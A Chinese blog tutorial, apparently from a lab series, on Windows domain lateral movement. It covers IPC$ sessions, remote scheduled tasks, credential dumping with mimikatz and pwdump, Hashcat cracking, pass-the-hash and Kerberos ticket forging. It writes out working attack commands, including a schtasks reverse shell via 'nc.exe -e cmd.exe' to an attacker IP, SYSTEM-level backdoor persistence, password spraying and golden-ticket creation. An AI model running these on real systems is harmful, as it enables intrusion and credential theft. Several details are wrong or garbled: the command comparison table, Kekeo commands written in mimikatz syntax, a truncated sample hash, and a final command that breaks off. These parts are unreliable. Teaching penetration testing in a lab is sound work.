当前位置: 首页 > news >正文

内网后渗透攻击过程(实验环境)--3、横向攻击

用途限制声明
本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

在进行信息收集和权限提升后,我们就可以进行横向移动,那么什么是横向移动呢?横向移动(Lateral Movement) 是指攻击者在突破目标网络的初始边界(如通过钓鱼、漏洞利用等方式获取某台主机的控制权)后,进一步在网络内部扩散,从已控制的节点(主机、设备等)向其他节点(如服务器、工作站、数据库等)渗透的行为。其核心目的是扩大控制范围、获取更高权限或敏感数据,最终达成攻击目标(如窃取核心信息、破坏系统等)。

横向移动的原理

横向移动的实现依赖于攻击者对网络环境的探测、凭证的利用以及对网络协议 / 系统漏洞的滥用,核心流程可分为以下几步:

1. 初始立足点(Initial Foothold)

攻击者首先需要通过外部入侵手段(如钓鱼邮件、Web 漏洞、供应链攻击等)获取网络内某台设备的初步控制权(例如普通用户权限的主机),这是横向移动的前提。

2. 信息收集(Reconnaissance)

为了向其他节点移动,攻击者需要先探测网络内部环境,收集关键信息,包括:

  • 存活主机列表(通过 ping 扫描、ARP 扫描等);
  • 开放端口与服务(如远程桌面 RDP、文件共享 SMB、SSH 等);
  • 本地用户凭证(如密码哈希、明文密码,通过读取系统文件、内存 dump 等方式获取);
  • 网络拓扑(如子网划分、域结构等)。

3. 利用技术实现移动

基于收集到的信息,攻击者通过以下常见技术横向渗透到其他节点:

  • 凭证复用:利用获取的用户凭证(如密码哈希、Kerberos 票据)登录其他主机,典型技术包括:

    • Pass-the-Hash(哈希传递):直接使用用户密码的哈希值认证,无需明文密码;
    • Pass-the-Ticket(票据传递):复用 Kerberos 票据(如 TGT、ST)访问域内资源。
  • 滥用网络协议 / 服务:利用系统默认开放的服务或协议远程控制其他主机,例如:

    • RDP(远程桌面协议):通过获取的账号密码远程登录目标主机;
    • SMB/CIFS(文件共享服务):访问共享文件夹并植入恶意文件(如后门);
    • PowerShell 远程管理:通过 PowerShell 命令远程执行代码;
    • WMI(Windows 管理规范):远程调用系统接口执行命令。
  • 漏洞利用:针对网络内主机的未修复漏洞(如 EternalBlue、Log4j 等)直接攻击,获取控制权。

  • 恶意软件自动扩散:通过蠕虫类恶意程序(如 Conficker)自动扫描网络内漏洞并传播,实现横向移动。

4. 目标与最终目的

横向移动的最终目标是接近网络中的 “高价值资产”(如数据库服务器、域控制器、核心业务系统等),进而窃取敏感数据、加密勒索(如勒索软件)或破坏系统。同时,攻击者可能会在移动过程中提升权限(如从普通用户到管理员),并植入后门以维持长期控制。

通俗地说,横向移动就是拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH(pass the Hash,凭据传递)的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程windows操作系统中执行命令。

在我以前的文章中,有关于信息收集和权限提升的文章,有兴趣的读者可以去看一下。

内网后渗透攻击过程(实验环境)--1、信息收集-CSDN博客

内网后渗透攻击过程(实验环境)--2、权限提升-CSDN博客

所以在此次实验中我们主要是根据获得的服务器权限进行横向移动,以此为跳板,访问其他域内的主机,扩大资产范围。横向移动主要的点在于抓取hash,然后进行连接,最后登录。所以说抓取 hash 主要用于横向移动,其次可辅助权限提升。所以在我的文章权限提升中并没有详细进行讲述,所以这里就是详细讲述hash抓取。

主要实验工具,VM,windows server 2019,windows 7,windows server 2016,我们主要通过在windows 7进行攻陷作为跳板,进行横向移动。

首先先介绍在命令提示符情况下进行远程连接的管道(IPC)以及相关的命令。

1、IPC

IPC 通常指 Windows 的 IPC$ 共享(IPC 共享)。这是一种系统默认开启的特殊网络共享,无需实际目录,专门用于跨计算机的进程间通信,支持远程主机通过网络建立会话并交换数据。

 IPC$ 共享在横向移动中的作用

横向移动(Lateral Movement)是攻击者入侵内网后,从已控制的主机向同一网络内其他主机扩散的过程。IPC$ 共享是攻击者实现横向移动的关键工具之一,核心作用如下:

(1)建立远程会话,验证凭据

IPC$ 共享允许攻击者通过网络与目标主机建立“空会话”或“认证会话”,用于测试目标主机的账号密码(凭据)是否有效。
例如,通过 Windows 命令 net use \\目标IP\ipc$ /user: 用户名 密码 \,攻击者可尝试用已知的账号密码(或哈希值)与目标主机建立 IPC$ 连接:

  • 若连接成功,说明凭据有效,可进一步利用;
  • 若失败,可通过暴力破解(枚举账号密码)尝试获取权限。

(2)作为横向移动的 “桥梁”,传递工具与执行命令

一旦通过 IPC$ 建立成功的会话,攻击者可借助该连接完成以下操作,实现横向扩散:

  • 文件传输:通过已建立的 IPC$ 会话,用 copy 命令将恶意文件(如后门、木马)从本地复制到目标主机的共享目录(如 C$Admin$\ 等),为后续攻击铺路。
  • 远程命令执行:结合其他工具(如 psexecschtaskswmic 等),通过 IPC$ 会话远程执行命令。例如:
    • 用 schtasks 创建计划任务,让目标主机在指定时间运行恶意程序;
    • 用 psexec 直接远程启动进程(依赖 IPC$ 会话的权限)。

(3)扩大攻击范围,实现内网扩散

攻击者通过 IPC$ 共享可快速横向渗透到同一域或工作组内的其他主机:

  • 利用已获取的管理员凭据(或哈希传递攻击),通过 IPC$ 批量连接内网主机;
  • 结合漏洞利用(如永恒之蓝),在无凭据情况下通过 IPC$ 相关端口(如 445)植入恶意代码,完成横向移动。

1)建立一个ipc$

命令:net use \\ip地址\ipc$ "密码" /user:administrator

  • net use:Windows 系统内置命令,用于创建、删除或配置网络连接(如映射网络驱动器、建立 IPC 会话)。
  • \\IP地址\ipc$:目标主机的 IPC$ 共享路径。
    • \\IP地址:目标计算机的 IP 地址(如\\192.168.1.100);
    • ipc$:特殊的隐藏共享名(以$结尾表示隐藏),代表 IPC(Inter-Process Communication)共享。
  • "密码":用于验证的用户密码(需用双引号括起,若密码包含空格或特殊字符)。
  • /user:administrator:指定用于身份验证的用户名(此处为administrator)。

比如通过物理机连接虚拟机

成功建立连接,如果成功抓取明文密码和用户或者抓取hash成功破解就能够通过此方法进行登录。

建立连接后,就可以通过自带的工具获取远程主机的信息。如下所示,

2)dir命令

用于列出远程主机C盘中的文件,图中访问失败,原因是C$ 是 Windows 默认的管理员隐藏共享,并没有在虚拟机开启默认共享,所以拒绝访问。

3)tasklist命令

命令:tasklist /S 192.168.237.141 /U 用户名 /P 密码

此命令列出远程主机上运行的进程

4)计划任务

在通过 IPC$ 建立远程会话后,计划任务(Scheduled Tasks) 是实现持久化控制、执行命令的重要手段。这里操作不再展示。

1、at命令
(1)核心功能

at命令是 Windows 早期的计划任务工具,通过命令行界面创建、删除和查询计划任务。其语法为:

at [\\computername] [[id] [/delete] | /delete [/yes]]
at [\\computername] time [/interactive] [/every:date[,...] | /next:date[,...]] "command"
(2)典型应用场景
  1. 远程执行命令
    在通过 IPC$ 建立连接后,使用at命令在目标主机上执行命令(如反弹 shell):

    at \\192.168.1.100 23:00 /interactive "cmd.exe /c whoami > c:\output.txt"
    
     
    • 参数说明:
      • \\192.168.1.100:目标主机 IP;
      • 23:00:执行时间;
      • /interactive:允许任务与桌面交互(需用户登录);
      • "command":要执行的命令。
  2. 持久化后门
    创建一个每天定时执行的任务,确保木马或后门程序持续运行:

    at \\192.168.1.100 /every:M,T,W,Th,F,S,Su 09:00 "c:\windows\temp\backdoor.exe"
2、schtasks命令
(1)核心功能

schtasks是 Windows NT 6.0(Vista/Server 2008)及以后版本的计划任务管理工具,功能更强大,语法更灵活。其语法为:

schtasks /create /tn TaskName /tr Command /sc Schedule [/st StartTime] [/sd StartDate] [/ed EndDate] [/s Computer [/u Domain\User [/p Password]]]
(2)典型应用场景
  1. 创建基础计划任务
    在目标主机上创建一个每分钟执行一次的命令:

    schtasks /create /s \\192.168.1.100 /u administrator /p Password123! /tn "SystemUpdate" /tr "cmd.exe /c whoami > c:\output.txt" /sc minute /mo 1
    
     
    • 参数说明:
      • /s \\192.168.1.100:目标主机;
      • /u administrator /p Password123!:认证凭据;
      • /tn "SystemUpdate":任务名称;
      • /tr "command":要执行的命令;
      • /sc minute /mo 1:执行频率(每分钟一次)。
  2. 高权限执行(System 权限)
    创建一个以SYSTEM权限运行的任务(需管理员权限):

    schtasks /create /s \\192.168.1.100 /u administrator /p Password123! /tn "SystemService" /tr "c:\windows\temp\backdoor.exe" /ru SYSTEM /rp *
    
     
    • /ru SYSTEM:以SYSTEM账户运行;
    • /rp *:使用当前用户的凭据(需管理员权限)。
  3. 事件触发型任务
    创建一个在用户登录时自动执行的任务:

    schtasks /create /s \\192.168.1.100 /u administrator /p Password123! /tn "LogonMonitor" /tr "c:\windows\temp\monitor.exe" /sc onlogon
    

  4. 利用漏洞执行(如永恒之蓝)
    在未打补丁的系统上,结合 MS17-010 漏洞,使用schtasks远程执行命令:

    # 假设已通过IPC$建立连接
    schtasks /create /s \\192.168.1.100 /u administrator /p "" /tn "Exploit" /tr "nc.exe -e cmd.exe 192.168.1.101 4444" /sc once /st 23:59
    schtasks /run /s \\192.168.1.100 /tn "Exploit"
维度at 命令schtasks 命令
支持系统版本Windows NT/2000/XP/2003(Win7 及以上逐渐弃用全版本支持(Win7/8/10/Server 全系列)
计划任务存储位置注册表(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Jobs)任务计划程序数据库(C:\Windows\System32\Tasks)
执行权限需要SE_INTERACTIVE_LOGON_NAME权限(默认仅 Administrators 组)需要SE_CREATE_TOKEN_NAME权限(默认仅 Administrators 组)
时间精度最低 1 分钟间隔支持秒级精度(如每 30 秒执行一次)
远程执行方式通过\\IP地址参数指定目标主机通过/S参数指定目标主机
命令输出文本格式,信息简略XML 格式,信息详细(支持/XML参数导出)
持久性任务重启后保留,但需服务Task Scheduler运行任务重启后保留,依赖Task Scheduler服务

2、Windows系统散列值获取分析与防范

1、LM Hash和NTLM Hash

在权限提升一文中,我们已经讲述了windows操作系统密码哈希存储机制:

Windows 使用 LM Hash 和 NTLM Hash 两种格式存储密码,格式如下

用户名:RID:LM哈希:NTLM哈希
  • LM Hash:已过时,易被破解(将密码转为大写、分割为 7 字节处理)。
  • NTLM HashNTLM = MD4(UTF-16LE(明文密码)),安全性较高,但仍可通过彩虹表或暴力破解。

Windows 系统中,本地用户的哈希(NTLM/LM)主要存储在两处:

  1. SAM 文件C:\Windows\System32\config\SAM):系统用户账户数据库,记录本地用户的哈希,但默认被系统锁定(需SYSTEM权限才能读取)。
  2. 内存(lsass 进程):用户登录(本地登录、远程桌面、域登录等)后,密码哈希会暂存于lsass.exe(本地安全授权子系统服务)的内存中,用于验证后续操作.

我们先讨论直接在目标主机本地(无需通过网络)获取其存储的用户密码哈希或明文,这称之为单机密码抓取,还有在网络环境下进行密码抓取,两者使用的方法和工具不同。下面是对比,

维度单机环境网络环境(如横向移动)
操作范围仅限单台主机本地跨多台主机,通过网络连接扩散攻击
权限获取依赖本地提权或直接登录依赖凭据传递(如哈希传递、票据传递)
工具使用mimikatzprocdump、SAM 文件解析工具psexecwmic、IPC$ 共享等网络工具
数据来源SAM 文件、lsass 进程内存、本地注册表跨主机的共享资源、域控制器(NTDS.dit)等

2、单机密码抓取与防范

 首先利用msfconsole对windows 7进行渗透,从而获得其权限

因为想要抓取散列值或者明文密码,需要将权限提升至system.所以接下来就是提权

使用命令getsystem,不出意料失败了,getsystem需要权限是Administrator,才能够提权至System

那就利用系统漏洞进行提权,具体不再展示

以下使用的工具都需要在shell命令下使用,由于msfconsole有点小问题,我就不在msfconsole操作,在本机进行操作了,利用msfconsole将文件上传至目标机在以前的文章有提,大家有兴趣可以看一下

1)getpass工具

工具地址:[分享]windows登陆密码查看工具-编程技术-看雪-安全社区|安全招聘|kanxue.com

 此工具比较适合于比较老的系统,比如windwos 7以下的,比较好抓取明文密码,本机是windows 11,不好抓取

试一下在windows 7虚拟机进行操作

 2)PwDump工具

运行这个程序获得的是系统中所有账户的NTLM Hash,可以通过彩虹表破解或者使用哈希传递

工具地址:Seabreg/pwdump

运行结果如下,正常情况是可以读取到的。因为我使用的是本机,所以并没有使用System权限进行读取,知道如何使用这个工具即可

3)QuarksPwDump工具

这个工具跟上面也是同样的作用,使用方法比较不同

工具地址:Quarks PwDump各种32位64系统获取HASH – WebShell'S Blog

提取本地系统哈希

.\QuarksPwDump.exe --dump-hash-local
  • 功能:从本地系统提取 LM/NTLM 密码哈希值(适用于 Windows XP/2003 及更早系统)。
  • 输出:用户名、RID(相对标识符)、LM 哈希、NTLM 哈希。

3. 提取本地系统的明文密码(如果内存中存在)

.\QuarksPwDump.exe --dump-passwords
  • 功能:尝试从内存中提取明文密码(如已登录用户的凭据)。
  • 注意:仅当密码在内存中未加密存储时有效(如某些服务账户)。

常用参数

参数功能描述
--dump-hash-local从本地系统提取密码哈希(适用于本地渗透测试)。
--dump-hash-remote从远程系统提取密码哈希(需指定 IP / 主机名和权限)。
--dump-passwords尝试提取内存中的明文密码。
--sam <路径>指定 SAM 文件路径(用于离线哈希提取)。
--system <路径>指定 SYSTEM 文件路径(用于离线哈希提取)。
--output <文件名>将结果保存到文件。
--help显示帮助信息。
4)通过SAM和System文件抓取密码

1)导出SAM和System文件

使用命令如下

reg save hklm\sam sam.hive
reg save hklm\system system.hive

2)通过mimikatz工具读取SAM和SYSTEM文件获得NTLM Hash(离线/本地/在线)

使用mimikatz读取文件,mimikatz一款开源的Windows安全工具。Mimikatz工具在Windows操作系统中运行时,可以从内存中提取出操作系统的明文密码、哈希、PIN码和Kerberos票据等,并支持哈希传递(pass-the-hash)、票据传递(pass-the-ticket)和构建黄金票据等功能.详细不再介绍,在以前的文章有提及。

工具地址:gentilkiwi/mimikatz: A little tool to play with Windows security

将提取的文件放在工具的目录下,然后先进行提升权限,然后再进行读取,这是在离线情况下进行读取

还有直接进行本地读取。这个就是需要在目标机运行mimikatz,上传mimikatz时实际情况下需要考虑免杀,这里不讨论免杀。

将工具上传至目标机,

使用privilege::debug进行提权,然后再使用token::elevate提权至System

使用命令lsadump::sam进行读取

还有直接通过命令在线读取sam文件

在mimikatz目录下,通过此命令在线读取散列值以及明文密码

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

5)单机密码抓取的防范方法

微软为了防止用户密码在内存中以明文形式泄露。发布补丁KB2871997,并且Windows server 2012以及以上版本默认关闭Wdigest(Wdigest 是 Windows 系统中的一个认证机制,在较旧版本中会将明文密码存储在内存中)。安装补丁并且关闭Wdigest就能够确保无法抓取到明文密码。

3、Hashcat获取密码

现在我们大多数都是抓取到密码都是为散列值,很少能够直接抓取到明文密码,所以我们需要进行破解,依靠彩虹表很难能够全部破解,这里就需要介绍一个工具:Hashcat

Hashcat 是一款强大的密码破解工具,常用于安全评估、密码恢复和渗透测试。它支持多种哈希算法(如 MD5、SHA-1、NTLM 等)和破解模式,通过暴力破解、字典攻击等方式尝试还原明文密码。

一、核心作用
  1. 密码恢复:从已获取的哈希值还原明文密码。
  2. 安全评估:测试系统密码强度,发现弱密码。
  3. 支持超大规模计算:利用 GPU 并行计算提升破解效率(比 CPU 快数十倍)。
  4. 多平台兼容:支持 Windows、Linux、macOS 等。
二、基本用法
1. 安装
  • Windows/Linux/macOS:从官网下载预编译版本。
  • Kali Linux:已预装,直接使用:hashcat
2. 基本命令格式
hashcat -m <哈希模式> -a <攻击模式> [选项] <哈希文件> <字典/掩码>
  • -m:指定哈希类型(如0代表 MD5,1000代表 NTLM)。
  • -a:指定攻击模式(如0代表字典攻击,3代表掩码攻击)。
三、常见哈希模式
模式编号哈希类型示例
0MD5e10adc3949ba59abbe56e057f20f883e
100SHA15baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
1000NTLMadmin:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c:::
1400SHA2-2565e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d154
22000WPA/WPA2 EAPOL无线密码哈希
四、攻击模式
1. 字典攻击(-a 0)

使用预先准备的密码字典:

hashcat -m 1000 -a 0 hashes.txt passwords.txt
  • 示例:破解 NTLM 哈希,使用passwords.txt字典。
2. 掩码攻击(-a 3)

使用自定义字符集和规则:

hashcat -m 0 -a 3 hashes.txt ?l?l?l?d?d
  • 字符集
    • ?l:小写字母(a-z)
    • ?u:大写字母(A-Z)
    • ?d:数字(0-9)
    • ?s:特殊字符(!@#$%)
  • 示例:破解 MD5 哈希,密码格式为 3 个小写字母 + 2 个数字。
3. 组合攻击(-a 1)

将两个字典组合:

hashcat -m 100 -a 1 hashes.txt dict1.txt dict2.txt
  • 示例:尝试dict1中的每个词与dict2中的词组合。
4. 规则攻击(-r)

使用规则修改字典中的词:

hashcat -m 1000 -a 0 hashes.txt passwords.txt -r rules/best64.rule

  • 规则示例best64.rule包含常见变换(如添加数字后缀、大小写替换)。

3、网络情况下的横向移动

在上面我们介绍在单机情况下进行的横向移动的主要点,抓取哈希,获得用户名和密码,都是处于在一个域的情况下,我们就需要用到其他的方法,因为在域环境中用户登录的大多是域账号,也就是说使用的是相同的本地管理员账号和密码。

1)哈希传递

哈希传递是一种网络攻击技术,核心是:攻击者在获取目标系统的用户哈希值后,无需破解出明文密码,直接使用哈希值完成身份认证,实现对目标系统的访问或横向移动。哈希传递(Pass-the-Hash)的核心优势之一:通过网络利用已获取的哈希值,无需在目标机上部署任何工具

原理核心(以 Windows NTLM 认证为例):

Windows 系统中,用户登录或远程访问(如 SMB、RDP)时,默认使用 NTLM 认证协议,其流程简化如下:

  1. 客户端向服务器发送用户名。
  2. 服务器生成一个随机 “挑战值(Challenge)” 并发送给客户端。
  3. 客户端用自己的 NTLM 哈希对 “挑战值” 进行加密,生成 “响应值(Response)” 并发送给服务器。
  4. 服务器用存储的该用户 NTLM 哈希对相同 “挑战值” 加密,对比客户端的 “响应值”,一致则认证通过。

哈希传递的关键
NTLM 认证的核心是 “用哈希加密挑战值”,而非使用明文密码。因此,只要攻击者获取了用户的 NTLM 哈希,就可以模拟客户端生成 “响应值”,直接通过认证,无需知道明文密码。

哈希传递是渗透测试和攻击中横向移动的核心技术,主要作用体现在:

  1. 绕过明文密码依赖
    很多系统 / 服务(如 Windows 文件共享、远程桌面)的认证依赖哈希而非明文,攻击者无需破解哈希(破解可能耗时极长),直接用哈希 “登录”,大幅提升攻击效率。

  2. 横向渗透扩展权限
    在内网渗透中,攻击者获取一台主机的本地管理员哈希后,可尝试用该哈希登录其他主机(若目标主机使用相同管理员账号密码),实现跨主机控制。

  3. 规避密码防御机制
    部分防御措施(如密码复杂度检查、定期修改密码)针对明文密码设计,哈希传递可绕过这些机制直接利用哈希认证。

我们主要是使用mimikatz进行哈希传递,抓取NTLM不再展示,拥有NTLM后即可进行哈希传递,命令如下,这是在攻击机进行操作

sekurlsa::pth /user:用户名 /domain:域名 /ntlm:散列值 /run:"cmd.exe"

出现这种即成功,然后退出mimikatz,在当前会话( Mimikatz 所在的 cmd 窗口)中,尝试访问域内其他主机的共享

# 访问文件共享
dir \\主机名\C$  # 远程执行命令(需管理员权限)
psexec \\dc.hack.com cmd.exe  

输出C盘的内容,ok这就是哈希传递。

还有一个工具也能够进行哈希传递,这里介绍不展示,

CrackMapExec(简称 CME)是一款专为 Windows/Active Directory(AD)内网渗透测试 设计的开源工具,被誉为 “域环境渗透的瑞士军刀”

二、核心功能(多协议渗透支持)

CME 支持 SMB、LDAP、MSSQL、WinRM、SSH、RDP 等协议,覆盖从信息收集到权限提升的全流程:

1. 自动化扫描与枚举

  • 探测开放服务(如 SMB 共享、域用户 / 组信息)。
  • 枚举域密码策略、登录用户、共享文件夹权限。
    # 示例:扫描网段内SMB服务,枚举共享权限
    crackmapexec smb 192.168.1.0/24 -u user -p pass --shares
    

2. 凭证利用与横向移动

  • 哈希传递(Pass-the-Hash, PTH):直接使用 NTLM 哈希认证,无需明文密码。
    # SMB协议下哈希传递,执行命令
    crackmapexec smb 192.168.1.100 -u Administrator -H <NTLM哈希> -x "whoami"
    
  • 密码喷射 / 暴力破解:批量测试弱密码,支持多用户 / 密码字典。
    # 对SMB服务进行密码喷射
    crackmapexec smb 192.168.1.100 -u users.txt -p passwords.txt
    
  • 远程命令执行:通过 SMB(smbexec)、WinRM 等协议执行系统命令,绕过杀软(如 WinRM 流量易被忽略)。

3. 域环境深度渗透

  • Dump 凭证:提取域控 ntds.dit、本地 SAM 哈希(需管理员权限)。
  • 票据攻击:结合 Kerberos 票据(如黄金票据)实现权限提升。
  • BloodHound 集成:对接 BloodHound 分析域内权限关系,挖掘攻击路径。

2)票据传递

票据传递是基于 Kerberos 协议 的权限提升技术,核心是利用已获取的 有效 Kerberos 票据(如 TGT、TGS)直接认证,无需密码或哈希。与哈希传递相比,它更隐蔽、更强大,且能绕过部分防御(如 LSA 保护)。

票据传递原理

攻击者通过 内存提取 或 伪造 合法用户的 TGT/TGS,将其注入当前会话,使系统误认为自己是该用户,从而获得对应权限。

通过 Mimikatz 实现票据传递

1. 从内存中提取现有票据

在已获得管理员权限的会话中执行:

mimikatz # sekurlsa::tickets /export

  • 输出:将在当前目录生成 .kirbi 格式的票据文件(如 Administrator@krbtgt-TESTLAB.KIRBI)。

2. 注入票据到当前会话

mimikatz # kerberos::ptt C:\path\to\Administrator@krbtgt-TESTLAB.KIRBI

  • 效果:当前会话立即获得票据所有者的权限,可直接访问域内资源。

3. 验证票据注入成功

klist  # 查看当前会话的票据缓存
dir \\WIN7SP1\C$  # 尝试访问域控共享

还有另一个工具也可以进行票据传递,这里只介绍不展示

Kekeo 是一款专注于 Kerberos 协议操作 的轻量级工具,由 Mimikatz 作者 Benjamin Delpy 开发,主要用于生成、修改、注入和利用 Kerberos 票据,是内网渗透中处理 Kerberos 相关攻击的核心工具之一。

Kekeo 的核心能力围绕 Kerberos 票据的 “生成 - 注入 - 利用” 展开,主要用于以下攻击场景:

1. 生成黄金票据(Golden Ticket)

黄金票据是伪造的 TGT(Ticket-Granting Ticket),可直接获取域管理员权限。Kekeo 生成黄金票据的命令比 Mimikatz 更简洁:

# 语法:kerberos::golden /user:<用户名> /domain:<域名> /sid:<域SID> /krbtgt:<krbtgt哈希> /ticket:<输出票据名>
kekeo # kerberos::golden /user:Administrator /domain:testlab.local /sid:S-1-5-21-123456789-1234567890-123456789 /krbtgt:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 /ticket:golden.ticket
  • 生成后可通过 kerberos::ptt golden.ticket 注入当前会话,直接访问域内资源。

2. 生成白银票据(Silver Ticket)

白银票据是伪造的 TGS(Ticket-Granting Service),仅针对特定服务(如 SMB、LDAP)生效,隐蔽性更强:

# 语法:kerberos::golden /user:<用户名> /domain:<域名> /sid:<域SID> /rc4:<服务账户哈希> /service:<服务类型> /target:<目标主机> /ticket:<输出票据名>
kekeo # kerberos::golden /user:Administrator /domain:testlab.local /sid:S-1-5-21-... /rc4:31d6cfe0d16ae931b73c59d7e0c089c /service:cifs /target:dc.testlab.local /ticket:silver_smb.ticket
  • 示例中 /service:cifs 表示针对 SMB 服务,生成后可直接访问 \\dc.testlab.local\C$

3. AS-REP Roasting 攻击

针对 不要求预认证 的用户,获取其加密的 AS-REP 响应,离线破解哈希:

# 枚举域内无需预认证的用户
kekeo # kerberos::ask /user:testuser /domain:testlab.local /dc:dc.testlab.local# 导出加密的 AS-REP 响应(用于后续破解)
kekeo # kerberos::ask /user:testuser /domain:testlab.local /dc:dc.testlab.local /outfile:testuser.hash
  • 导出的 .hash 文件可通过 Hashcat 或 John the Ripper 破解明文密码。

4. 票据注入与传递(Pass-the-Ticket)

将已生成或获取的票据注入当前会话,实现权限伪造:

# 注入本地票据文件(.kirbi 或 .ticket 格式)
kekeo # kerberos::ptt C:\path\to\golden.ticket# 查看当前会话中的票据
kekeo # kerberos::tickets
工具核心定位优势场景局限性
Kekeo专注 Kerberos 票据操作轻量、命令简洁,适合批量生成票据功能单一,不支持凭证提取等操作
Mimikatz全功能凭证与票据工具支持内存提取、哈希传递、票据操作体积较大,检测特征更明显

最后,再着重介绍一下黄金票据与白银票据

1. 黄金票据(Golden Ticket)

伪造 域管理员级别的 TGT,可访问域内任何资源,无需与 KDC 通信。

# 获取域信息
mimikatz # lsadump::lsa /inject /name:krbtgt# 生成黄金票据
mimikatz # kerberos::golden /user:Administrator /domain:testlab.local /sid:S-1-5-21-... /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c /ticket:golden.kirbi# 注入票据
mimikatz # kerberos::ptt golden.kirbi

  • 核心参数
    • /sid:域 SID(可通过 whoami /user 获取)。
    • /krbtgt:域 Krbtgt 账户的 NTLM 哈希(需先获取)。

2. 白银票据(Silver Ticket)

伪造 特定服务的 TGS,仅能访问指定服务(如 SMB、MSSQL),但无需域控参与,更隐蔽。

# 为SMB服务生成白银票据
mimikatz # kerberos::golden /user:Administrator /domain:testlab.local /sid:S-1-5-21-... /rc4:31d6cfe0d16ae931b73c59d7

 ok,横向移动的内容就到这结束了,还有很多没有提及,需要大家自己去学习补充了,内网渗透以及走了一大段路了,接下来就是权限维持,也就是后门。

http://www.dtcms.com/a/288641.html

相关文章:

  • SQL 调优第一步:EXPLAIN 关键字全解析
  • 【已解决】GitHub SSH 连接失败解决方案:Permission Denied (publickey) 错误修复指南
  • [Linux]进程 / PID
  • 30天打牢数模基础-决策树讲解
  • Linux入门篇学习——NFS 服务器的搭建和使用和开发板固件烧录
  • Spring Boot 第一天知识汇总
  • 【Java项目安全基石】登录认证实战:Session/Token/JWT用户校验机制深度解析
  • 相似度计算
  • 「Java案例」利用方法求反素数
  • Facebook 开源多季节性时间序列数据预测工具:Prophet 饱和预测 Saturating Forecasts
  • dynamic_cast的实现原理
  • Beamer-LaTeX学习(教程批注版)【6】
  • Elasticsearch 简化指南:GCP Google Compute Engine
  • GPT-4o mini TTS:领先的文本转语音技术
  • 随着GPT-5测试中泄露OpenAI 预计将很快发布 揭秘GPT-5冲击波:OpenAI如何颠覆AI战场,碾压谷歌和Claude?
  • prometheus 黑盒监控和docker检测
  • mysql第三次作业
  • 学习寄存器——GPIO(二)学习BSRR BRR ODR寄存器的原子性和在HAL库的应用
  • 【Go语言-Day 22】解耦与多态的基石:深入理解 Go 接口 (Interface) 的核心概念
  • 【详细笔记】两类曲线积分转换
  • 群组功能实现指南:从数据库设计到前后端交互,上班第二周
  • 【数据结构】揭秘二叉树与堆--用C语言实现堆
  • 人工智能之数学基础:随机实验、样本空间、随机事件
  • Docker Desktop 入门教程(Windows macOS)
  • 深度学习图像分类数据集—百种病虫害分类
  • Python绘图小工具开发:从零构建数据可视化利器
  • 股票及金融笔记
  • 如何升级Docker部署的Dify
  • Materials Studio学习笔记(二十九)——尿素的几何优化
  • 私有云新势力:Puter+CPolar如何低成本替代商业网盘?